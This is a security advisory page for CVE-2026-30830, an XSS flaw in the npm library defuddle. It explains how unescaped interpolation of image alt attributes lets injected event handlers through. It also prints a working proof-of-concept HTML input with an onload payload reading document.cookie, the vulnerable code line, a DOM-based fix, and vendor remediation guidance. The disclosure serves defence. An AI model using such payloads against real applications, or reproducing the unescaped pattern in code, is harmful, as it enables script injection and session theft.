CVE-2026-30830 — defuddle
Fix: kepano/defuddle@f154cb7CVE-2026-30830 is a Cross-site Scripting (XSS) vulnerability in defuddle. A fix is available for defuddle — see the affected versions and patch details below.
Defuddle: XSS via unescaped string interpolation in _findContentBySchemaText image tag
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30830.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
defuddlenpmDescription
Summary
The _findContentBySchemaText method in src/defuddle.ts interpolates image src and alt attributes directly into an HTML string without escaping:
html += `<img src="${imageSrc}" alt="${imageAlt}">`;
An attacker can use a " in the alt attribute to break out of the attribute context and inject event handlers. This is a separate vulnerability from the sanitization bypass fixed in f154cb7 — the injection happens during string construction, not in the DOM, so _stripUnsafeElements cannot catch it.
Details
When _findContentBySchemaText finds a sibling image outside the matched content element, it reads the image's src and alt attributes via getAttribute() and interpolates them into a template literal. getAttribute('alt') returns the raw attribute value. If the alt contains ", it terminates the alt attribute in the interpolated HTML string, and subsequent content becomes new attributes (including event handlers).
The recently added _stripUnsafeElements() (commit f154cb7) strips on* attributes from DOM elements, but the alt attribute's name is alt (not on*), so it is preserved with its full value. The onload handler is created by the string interpolation, not present in the original DOM.
PoC
Input HTML:
<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
<script type="application/ld+json">
{"@type": "Article", "text": "Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count."}
</script>
</head>
<body>
<article><p>Short.</p></article>
<div class="post-container">
<p>Extra text to inflate parent word count padding padding padding.</p>
<div class="post-body">
Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count.
</div>
<img width="800" height="600" src="https://example.com/photo.jpg" alt='pwned" onload="alert(document.cookie)'>
</div>
</body>
</html>
Output:
<img src="https://example.com/photo.jpg" alt="pwned" onload="alert(document.cookie)">
The onload event handler is injected as a separate HTML attribute.
Impact
XSS in any application that renders defuddle's HTML output (browser extensions, web clippers, reader modes). The attack requires crafted HTML with schema.org structured data that triggers the _findContentBySchemaText fallback, combined with a sibling image whose alt attribute contains a quote character followed by an event handler.
Suggested Fix
Use DOM API instead of string interpolation:
if (imageSrc) {
const img = this.doc.createElement('img');
img.setAttribute('src', imageSrc);
img.setAttribute('alt', imageAlt);
html += img.outerHTML;
}
This ensures attribute values are properly escaped by the DOM serializer.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | defuddle | all versions | 0.9.0npm install defuddle@0.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for defuddle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update defuddle to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30830 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-30830 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-30830. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-30830 in your dependencies?
O3 Security finds CVE-2026-30830 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.